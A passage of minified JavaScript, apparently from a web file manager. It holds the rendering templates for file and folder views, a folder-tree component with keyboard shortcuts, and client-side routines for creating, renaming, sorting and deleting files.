span").html(LNG.only_read),n==G.KOD_USER_RECYCLE||n==G.KOD_USER_SHARE?($(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled"),n==G.KOD_USER_SHARE&&G.user_id!=t.id&&$(".kod_path_tool>button").addClass("disabled")):$(".path_tips").show()),(n==G.KOD_GROUP_PATH||n==G.KOD_GROUP_SHARE)&&G.is_root||n==G.KOD_GROUP_PATH&&"owner"==t.role){var s=e.group_space_use;if(s){var r=core.userSpaceHtml(s.size_use+"/"+s.size_max);$(".group_space_use").removeClass("hidden").html(r)}else $(".group_space_use").addClass("hidden")}else $(".group_space_use").addClass("hidden");if(e.user_space){var s=e.user_space,r=core.userSpaceHtml(s.size_use+"/"+s.size_max);$(".user_space_info").html(r)}if("not_exists"==i&&($(".path_tips span").html(LNG.not_exists),$(".path_tips").show()),$(".role_label_box").html(""),n==G.KOD_GROUP_SHARE){var l="<span class='label label-grey-light' title-timeout='0' title='"+LNG.group_guest_desc+"'>"+LNG.group_guest+"<span>";$(".role_label_box").html(l),G.is_root&&$(".role_label_box").html("")}else if(n==G.KOD_GROUP_PATH&&t.group_role){var l="<span class='label label-"+t.group_role.style+"' title-timeout='0' title='"+LNG.group_role_lebel_desc+"'>"+t.group_role.name+"<span>";$(".role_label_box").html(l)}(n==G.KOD_GROUP_ROOT_ALL||n==G.KOD_GROUP_ROOT_SELF||n==G.KOD_USER_FAV||n==G.KOD_GROUP_SHARE)&&$(".path_tips").hide(),1==G.is_root&&t.admin_real_path?$(".admin_real_path").removeClass("hidden"):$(".admin_real_path").addClass("hidden")};return{f5:f5,f5Callback:f5Callback,pathTypeChange:pathTypeChange,pathChildrenTree:pathChildrenTree,pathChildrenSplit:pathChildrenSplit,myPicasa:myPicasa,init:function(){$(window).bind("resize",function(){resetTotalHeight(),"desktop"==Config.pageApp?ui.resetDesktopIcon():ui.headerAddress.resetWidth(),"none"!=$("#PicasaView").css("display")&&myPicasa.setFrameResize()}),bindScrollLoadMore(),myPicasa.init(".picasaImage"),myPicasa.initData()}}}),define("app/src/explorer/tpl/file_list_make.html",[],"<!-- 图标模式文件夹 -->\n{{if type=='icon_folder'}}\n<div data-path=\"{{list.path |window.pathHashEncode}}\"\nclass='file {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}folderBox menufolder{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n {{if !list.is_writeable}} file_not_writeable{{/if}}\n {{if !list.is_readable}} file_not_readable{{/if}}\n{{/if}}'\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"0\">\n <div class='ico' filetype='folder'>\n {{if list.ext}}\n {{list.ext |core.icon}}\n {{else}}\n {{\"folder\" |core.icon}}\n {{/if}}\n </div>\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <div class='filename'>\n <span class='title db_click_rename' title=\"{{LNG.double_click_rename}}\">\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{list.name}}\n {{/if}}\n </span>\n </div>\n</div>\n\n<!-- 列表模式文件夹 -->\n{{else if type=='list_folder'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file\n{{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}folderBox menufolder{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\ntitle='{{LNG.name}} : {{list.name}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"0\">\n <div class='filename'>\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <span class=\"children_more\">\n {{if list.isParent&&list.is_readable}}<i class=\"font_icon children_more_cert\"></i>{{/if}}\n </span>\n <div class='ico' filetype='folder'>\n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n </div>\n <span class='title db_click_rename' title=\"{{LNG.double_click_rename}}\">\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{list.name}}\n {{/if}}\n </span>\n </div>\n <div class='filetype'>{{LNG.folder}}</div>\n <div class='filesize'></div>\n <div class='filetime'>{{list.mtime}}</div>\n <div style='clear:both'></div>\n</div>\n{{if list.isParent&&list.is_readable}}\n<div data-path-children='{{list.path |window.pathHashEncode}}' class=\"children_list hidden\"></div>\n{{/if}}\n\n<!-- 分栏模式文件夹 -->\n{{else if type=='list_split_folder'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}folderBox menufolder{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"0\">\n <div class='filename'>\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <div class='ico' filetype='folder'>\n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n </div>\n <span class='title'>\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{list.name}}\n {{/if}}\n </span>\n <span class=\"children_open\">\n {{if list.is_readable && typeof(list.menuType)==\"undefined\"}}\n <i class=\"font_icon children_more_cert\"></i>\n {{/if}}\n </span>\n </div>\n</div>\n\n<!-- 图标模式文件 draggable=\"true\" ondragstart=\"return false;\"-->\n{{else if type=='icon_file'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}fileBox menufile{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\n{{if list.ext=='oexe'}}data-app='{{window.base64Encode(window.jsonEncode(list))}}'{{/if}}\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.size}}:{{list.size |core.fileSize}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"{{list.size}}\">\n {{if window.inArray(core.filetype['image'],list.ext)}}\n <div class='picasaImage picture ico' filetype='{{list.ext |window.htmlEncode}}' picasa='{{list.path |core.path2url:false|window.htmlEncode}}'>\n {{if window.G.sid}}\n <img class=\"lazyload_ready\" data-original='index.php?share/image&user={{window.G.user}}&sid={{window.G.sid}}&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{else}}\n <img class=\"lazyload_ready\" data-original='index.php?explorer/image&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{/if}}\n </div>\n {{else if list.type == 'app_link'}}<!-- 快捷方式 -->\n {{if list.content.search('ui.path.open') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.name.replace('.oexe','') |core.pathExt|core.icon}}\n </div>\n {{else if list.content.search('ui.path.list') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.icon |core.icon}}\n </div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>{{\"folder\" |core.icon}}</div>\n {{/if}}\n <div class=\"meta_info app_link\">{{'app_link' |core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{if list.ext=='oexe'}}\n {{oexe_icon |core.iconSrc}}\n {{else}}\n {{list.ext |core.icon}}\n {{/if}}\n </div>\n {{/if}}\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <div class='filename'>\n <span class='title db_click_rename' title=\"{{LNG.double_click_rename}}\">\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n </span>\n </div>\n</div>\n\n<!-- 列表模式文件 -->\n{{else if type=='list_file'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}fileBox menufile{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\n{{if list.ext=='oexe'}} data-app='{{window.base64Encode(window.jsonEncode(list))}}'{{/if}}\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.size}}:{{list.size |core.fileSize}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"{{list.size}}\">\n <div class='filename'>\n <span class=\"children_more\"></span>\n {{if window.inArray(core.filetype['image'],list.ext)}}\n <div class='picasaImage picture ico' filetype='{{list.ext |window.htmlEncode}}' picasa='{{list.path |core.path2url:false|window.htmlEncode}}'>\n {{if window.G.sid}}\n <img class=\"lazyload_ready\" data-original='index.php?share/image&user={{window.G.user}}&sid={{window.G.sid}}&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{else}}\n <img class=\"lazyload_ready\" data-original='index.php?explorer/image&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{/if}}\n </div>\n {{else if list.type == 'app_link'}}<!-- 快捷方式 -->\n {{if list.content.search('ui.path.open') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n </div>\n {{else if list.content.search('ui.path.list') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.icon |core.icon}}\n </div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>{{\"folder\" |core.iconSmall}}</div>\n {{/if}}\n <div class=\"meta_info app_link\">{{'app_link' |core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n </div>\n {{/if}}\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <span class='title db_click_rename' title=\"{{LNG.double_click_rename}}\">\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n </span>\n </div>\n <div class='filetype'>{{list.ext |window.htmlEncode}} {{LNG.file}}</div>\n <div class='filesize'>{{list.size |core.fileSize}}</div>\n <div class='filetime'>{{list.mtime}}</div>\n <div style='clear:both'></div>\n</div>\n\n<!-- 分栏模式文件 -->\n{{else if type=='list_split_file'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}fileBox menufile{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\n{{if list.ext=='oexe'}} data-app='{{window.base64Encode(window.jsonEncode(list))}}'{{/if}}\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.size}}:{{list.size |core.fileSize}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"{{list.size}}\">\n <div class='filename'>\n {{if window.inArray(core.filetype['image'],list.ext)}}\n <div class='picasaImage picture ico' filetype='{{list.ext |window.htmlEncode}}' picasa='{{list.path |core.path2url:false|window.htmlEncode}}'>\n {{if window.G.sid}}\n <img class=\"lazyload_ready\" data-original='index.php?share/image&user={{window.G.user}}&sid={{window.G.sid}}&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{else}}\n <img class=\"lazyload_ready\" data-original='index.php?explorer/image&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{/if}}\n </div>\n {{else if list.type == 'app_link'}}<!-- 快捷方式 -->\n {{if list.content.search('ui.path.open') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n </div>\n {{else if list.content.search('ui.path.list') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.icon |core.icon}}\n </div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>{{\"folder\" |core.iconSmall}}</div>\n {{/if}}\n <div class=\"meta_info app_link\">{{'app_link' |core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n </div>\n {{/if}}\n\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <span class='title'>\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n </span>\n </div>\n</div>\n{{/if}}\n\n"),define("app/common/tree",["./pathOperate","./pathOpen","./myPlayer"],function(e){var t,i=e("./pathOperate"),n=e("./pathOpen"),a=!1; +ui.pathOpen=n,ui.pathOperate=i;var o,s=function(){0!=$("#windowMaskView").length&&"block"==$("#windowMaskView").css("display")&&inArray(core.filetype.image,f().type)&&n.open(f().path,f().type)},r=function(e,t){var i=["menuTreeGroup","menuTreeFav","menuTreeFolderFav"];if(e&&e[0]&&-1!==$.inArray(e[0].menuType,i))return e;for(var n=[],a=[],o=0;e.length>o;o++)e[o].drop=!1,e[o].drag=!1,e[o].name=e[o].name,e[o].isParent&&e[o].children&&(e[o].children=r(e[o].children)),e[o].is_writeable,"folder"==e[o].type?a.push(e[o]):n.push(e[o]);return t?e:(a=a.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),n=n.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),a.concat(n))},l=function(){var e={},t="tree_open_"+md5(Config.pageApp),i=function(e){if(!LocalData.support())return{};if(void 0==e){var i=LocalData.getConfig(t);return 0==i?{}:i}LocalData.setConfig(t,e)},n=function(t){for(var i=0;t.length>i;i++){var n=t[i].path;void 0!==e[n]&&(t[i].open=e[n])}return t},a=function(){for(var t=o.getNodesByFilter(function(e){return 0==e.level?!0:!1}),n={},a=0;t.length>a;a++)n[t[a].path]=t[a].open;return e=n,i(e),e};return e=i(),{list:function(){return e},reset:n,save:a}}(),c=function(){$.ajax({url:Config.treeAjaxURL+"&type=init",dataType:"json",error:function(){$("#folderList").html('<div style="text-align:center;">'+LNG.system_error+"</div>")},success:function(e){if(!e.code)return $("#folderList").html('<div style="text-align:center;">'+LNG.system_error+"</div>"),void 0;var t=r(e.data,!0);t=l.reset(t),$.fn.zTree.init($("#folderList"),u,t),o=$.fn.zTree.getZTreeObj("folderList")}}),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),"editor"==Config.pageApp&&(Mousetrap.bind("up",function(e){d(e,"up")}).bind("down",function(e){d(e,"down")}).bind("left",function(e){d(e,"left")}).bind("right",function(e){d(e,"right")}),Mousetrap.bind("enter",function(){tree.open()}).bind(["del","command+backspace"],function(){tree.remove()}).bind("f2",function(e){stopPP(e),tree.rname()}).bind(["ctrl+f","command+f"],function(e){stopPP(e),tree.search()}).bind(["ctrl+c","command+c"],function(){tree.copy()}).bind(["ctrl+x","command+x"],function(){tree.cute()}).bind(["ctrl+v","command+v"],function(){tree.past()}).bind("alt+m",function(){tree.create("folder")}).bind("alt+n",function(){tree.create("file")}))},d=function(e,t){stopPP(e);var i=o.getSelectedNodes()[0];if(i){switch(t){case"up":var n=i.getPreNode();if(n){if(n.open&&n.children.length>0)for(;n.open&&n.children&&n.children.length>=1;)n=n.children[n.children.length-1]}else n=i.getParentNode();o.selectNode(n);break;case"down":if(i.open&&i.children.length>=1)n=i.children[0];else{var a=i,n=a.getNextNode()||a.getParentNode().getNextNode();try{for(;!n;)a=a.getParentNode(),n=a.getNextNode()||a.getParentNode().getNextNode()}catch(e){}}o.selectNode(n);break;case"left":i.isParent?i.open?o.expandNode(i,!1):o.selectNode(i.getParentNode()):o.selectNode(i.getParentNode());break;case"right":i.open?o.selectNode(i.children[0]):o.expandNode(i,!0);break;default:}s()}},p=function(){return"editor"==Config.pageApp?!1:!0},u={async:{enable:!0,dataType:"json",url:Config.treeAjaxURL,autoParam:["ajax_path=path","tree_icon=tree_icon"],dataFilter:function(e,t,i){return i.code?r(i.data):null}},edit:{enable:!0,showRemoveBtn:!1,showRenameBtn:!1,drag:{isCopy:!1,isMove:!1}},view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,n=$("#"+t.tId+"_switch"),a=$("#"+t.tId+"_ico");n.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),a.before(n).before('<span id="'+t.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=t.ext&&a.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";n.before(s)}var r="";void 0!=t.menuType?r=t.menuType:(("file"==t.type||"oexe"==t.ext)&&(r="menuTreeFile"),"folder"==t.type&&(r="menuTreeFolder"));var l=LNG.name+":"+t.name+"\n"+LNG.size+":"+core.fileSize(t.size)+"\n"+LNG.modify_time+":"+t.mtime;"file"!=t.type&&(l=t.name),n.parent().addClass(r).attr("title",l),0==t.is_writeable&&n.parent().addClass("file_not_writeable"),0==t.is_readable&&n.parent().addClass("file_not_readable"),0===t.exists&&n.parent().addClass("file_not_readable")}},callback:{onClick:function(e,t,i){return o.selectNode(i),"editor"==Config.pageApp&&"folder"==i.type?(o.expandNode(i),void 0):("editor"==Config.pageApp||"folder"!=i.type?ui.tree.openEditor():ui.path.list(i.path),void 0)},beforeDblClick:function(){return!0},onCollapse:function(e,t,i){0==i.level&&l.save()},onExpand:function(e,t,i){0==i.level&&l.save()},onDblClick:function(e,t,i){return $(e.target).hasClass("switch")||!p()?!1:(o.expandNode(i),void 0)},beforeRightClick:function(e,t){o.selectNode(t)},beforeAsync:function(e,t){t.ajax_name=t.name,t.ajax_path=t.path,$("#"+t.tId+"_my_ico").addClass("ico_loading")},onAsyncSuccess:function(e,i,n,a){return $("#"+n.tId+"_my_ico").removeClass("ico_loading"),0==a.data.length?(o.removeChildNodes(n),void 0):("function"==typeof t&&(t(),t=void 0),void 0)},onRename:function(e,n,a){var s=a.getParentNode();if(o.getNodesByParam("name",a.name,s).length>1)return Tips.tips(LNG.name_isexists,!1),o.removeNode(a),void 0;if(a.create){var r=a.path+"/"+a.name;"folder"==a.type?i.newFolder(r,function(){t=function(){var e=o.getNodesByParam("name",a.name,s)[0];o.selectNode(e),g()},h(s)}):i.newFile(r,function(){t=function(){var e=o.getNodesByParam("name",a.name,s)[0];o.selectNode(e),g()},h(s)})}else{var l=rtrim(a.path,"/"),c=core.pathFather(a.path)+a.name;i.rname(l,c,function(e){a.path=e,t=function(){var e=o.getNodesByParam("name",a.name,s)[0];o.selectNode(e),g(),"folder"==a.type&&ui.path.list(a.path)},h(s)})}},beforeDrag:function(e,t){for(var i=0,n=t.length;n>i;i++)if(t[i].drag===!1)return!1;return!0},beforeDrop:function(e,t,i){return i?i.drop!==!1:!0},onDrop:function(e,t,n,a){var o="",s="",r=n[0];(r.father||r.this_path)&&(o=r.father+urlEncode(r.name),s=a.father+urlEncode(a.name),i.cuteDrag([{path:o,type:r.type}],s,function(){h(r)}))}}},f=function(e){if(o){var t=o.getSelectedNodes()[0],i="";return t?(i=t.type,("_null_"==i||void 0==i)&&(i="folder"),"file"==i&&(i=t.ext),e?[{path:t.path,type:i,node:t}]:{path:t.path,type:i,node:t}):{path:"",type:""}}},h=function(e){return e||(e=o.getSelectedNodes()[0]),e.isParent||(e=e.getParentNode())?(o.reAsyncChildNodes(e,"refresh"),void 0):(ui.tree.init(),void 0)},m=function(){v(G.KOD_USER_FAV),g()},_=function(){m(),v(G.KOD_GROUP_ROOT_SELF),v(G.KOD_GROUP_ROOT_ALL)},v=function(e){var t=o.getNodesByParam("path",e,null);h(t[0])},g=function(){"explorer"==Config.pageApp&&ui.f5()};return{treeOpenHistory:l,pathOpen:n,treeDataSort:r,init:c,refresh:h,refreshPath:v,refreshFav:m,refreshGroup:_,zTree:function(){return o},openEditor:function(){n.openEditor(f().path)},openWindow:function(){n.openWindow(f().path)},share:function(){i.share(f())},download:function(){"folder"==f().type?i.zipDownload(f(!0)):n.download(f().path)},setSelect:function(e){if(o){var t=o.getSelectedNodes();if(!$.isArray(t)||1!=t.length||trim(t[0].path,"/")!=trim(e,"/")){var i=o.getNodesByFilter(function(t){return trim(t.path,"/")==trim(e,"/")?!0:!1},!0);i&&o.selectNode(i,!1)}}},open:function(){if(!($(".dialog_path_remove").length>=1)){var e=f();"oexe"==e.type&&(e.path=e.node),n.open(e.path,e.type)}},fav:function(){var e=f();e.name=e.node.name,e.node="null",i.fav(e)},createLink:function(e){var t=f();i.createLink(t.path,t.node.name,t.type,e,g)},search:function(){core.search("",f().path)},appEdit:function(){var e=f(),t=e.node;t.path=e.path,i.appEdit(t,function(){h(e.node.getParentNode())})},info:function(){i.info(f(!0))},copy:function(){i.copy(f(!0))},cute:function(){i.cute(f(!0))},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){i.copyDrag(f(!0),e,"",!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){i.cuteDrag(f(!0),e,function(){v()})})},favRemove:function(){i.favRemove(f().node.name,function(e){Tips.tips(e),m()})},past:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),i.past(e.path,function(){g(),h(e.node)})},clone:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),i.copyDrag(f(!0),core.pathFather(e.path),function(){g(),"folder"==e.type?h(e.node.getParentNode()):h(e.node)},!0)},remove:function(){var e=f(!0),t=e[0].node.getParentNode();e[0].type=e[0].node.type,e[0].type="folder"==e[0].type?"folder":"file",i.remove(e,function(){g(),h(t)})},checkIfChange:function(e){a||(a=!0,o&&(o.getNodesByFilter(function(t){var i=t.path;return"folder"==t.type&&core.pathClear(i)==core.pathClear(e)&&h(t),!1},!0),setTimeout(function(){a=!1},500)))},explorer:function(){var e=o.getSelectedNodes();if(0>=e.length){var t=o.getNodes();o.selectNode(t[0])}var i=f().path;"folder"!=f().type&&(i=core.pathFather(i)),core.explorer(i)},openProject:function(){core.explorerCode(f().path)},create:function(e){var i=o.getSelectedNodes();if(0>=i.length){var n=o.getNodes();o.selectNode(n[0])}else"file"==i[0].type&&o.selectNode(i[0].getParentNode());var a=f(),s=a.node,r=s.getParentNode(),l="newfile",c=0,d=LNG.newfolder;if("folder"==e){for(;o.getNodesByParam("name",d+"("+c+")",r).length>0;)c++;newNode={name:d+"("+c+")",ext:"",type:"folder",create:!0,path:a.path}}else{for(var p=e;o.getNodesByParam("name",l+"("+c+")."+p,r).length>0;)c++;newNode={name:l+"("+c+")."+p,ext:p,type:"file",create:!0,path:a.path}}if(void 0!=s.children){var u=o.addNodes(s,newNode)[0];o.editName(u)}else"folder"!=s.type&&(s=s.getParentNode()),t=function(){var e=o.addNodes(s,newNode)[0];o.editName(e)},s.isParent?o.expandNode(s):t()},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+f().path;window.open(e)},rname:function(){var e=o.getSelectedNodes()[0];o.editName(e),e.beforeName=e.name}}}),define("app/common/pathOperate",[],function(e){var t=["/","\\",":","*","?",'"',"<",">","|"],i=["/","\\"],n=function(e){var n=function(e,t){for(var i=t.length,n=0;i>n;n++)if(e.indexOf(t[n])>0)return!0;return!1},a=i;return G.system_os&&"windows"==G.system_os&&(a=t),n(e,a)?(Tips.tips(LNG.path_not_allow+": "+a.join(", "),!1),!1):!0},a=function(e){for(var t=[],i=function(e){return e?e.replace(/"/g,'\\\\"'):e},n=0;e.length>n;n++)t.push({type:i(e[n].type),path:urlEncode(i(e[n].path))});return"data_arr="+jsonEncode(t)},o=function(e,t){for(var i="0123456789零一二三四五六七八九十百千万壹贰叁肆伍陆柒捌玖拾佰仟万",n=0;Math.max(e.length,t.length)>n;n++)if(e.charAt(n)!=t.charAt(n)){var a=i.indexOf(e.charAt(n)),o=i.indexOf(t.charAt(n));return-1!=a&&-1!=o?a>o?1:o>a?-1:0:e.charAt(n)>t.charAt(n)?1:e.charAt(n)<t.charAt(n)?-1:0}return 0},s=function(e,t){if(void 0==e||void 0==t)return 0;var i=/([0-9\.]+)/g,n=(""+e).toLowerCase()||"",a=(""+t).toLowerCase()||"",s=String.fromCharCode(0),r=n.replace(i,s+"$1"+s).split(s),l=a.replace(i,s+"$1"+s).split(s),c=new Date(n).getTime(),d=c?new Date(a).getTime():null;if(d){if(d>c)return-1;if(c>d)return 1}for(var p=0,u=Math.max(r.length,l.length);u>p;p++)if(oFxNcL=parseFloat(r[p])||r[p],oFyNcL=parseFloat(l[p])||l[p],oFxNcL!=oFyNcL)if("string"==typeof oFxNcL&&"string"==typeof oFyNcL){var f=o(oFxNcL,oFyNcL);if(0!=f)return f}else{if(oFyNcL>oFxNcL)return-1;if(oFxNcL>oFyNcL)return 1}return 0},r=function(e,t){if(e){var i=core.pathThis(e);return n(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&(e&&e.info?t(e.info):t(!1))}}),void 0):("function"==typeof t&&t(),void 0)}},l=function(e,t){if(e){var i=core.pathThis(e);return n(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof t&&Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&(e&&e.info?t(e.info):t(!1))}}),void 0):("function"==typeof t&&t(),void 0)}},c=function(e,t,i){return e&&t&&e!=t?n(core.pathThis(t))?($.ajax({type:"POST",dataType:"json",url:"index.php?explorer/pathRname",data:"path="+urlEncode(e)+"&rname_to="+urlEncode(t),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&(e&&e.info?i(e.info):i(!1))}}),void 0):("function"==typeof i&&i(),void 0):void 0},d=function(e,t,i,n){if(i=void 0==i?!1:i,n=void 0==n?!1:n,window.event&&window.event.shiftKey&&(n=!0),!(1>e.length)){var o=LNG.remove_title,s=LNG.remove_info,r="index.php?explorer/pathDelete",l=a(e);if("share"==e[0].type&&(o=LNG.share_remove,s=LNG.share_remove_tips,r="index.php?userShare/del"),n&&(s=LNG.remove_info_force,o=LNG.remove_title_force,r+="&shiftDelete=1"),("recycle_clear"==e[0].type||G.USER_RECYCLE&&G.this_path==G.USER_RECYCLE||G.this_path==core.pathFather(G.myhome)+"recycle_kod/")&&(s=LNG.recycle_clear_info,r="index.php?explorer/pathDeleteRecycle",o=LNG.recycle_clear,"recycle_clear"==e[0].type&&(l={})),e[0]&&e[0].path){var c="<b>"+htmlEncode(core.pathThis(e[0].path))+"</b>";s=e.length>1?c+' ... <span class="badge">'+e.length+LNG.remove_item+"</span><br/>"+s:c+"<br/>"+s}var d=function(){$.ajax({url:r,type:"POST",dataType:"json",data:l,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(i){if(Tips.close(i),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.self_share=i.info;var n=$.dialog.list.share_dialog;void 0!=n&&n.close()}o==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof t&&t(i)}})};i?d():$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:o,padding:"40px 80px 40px 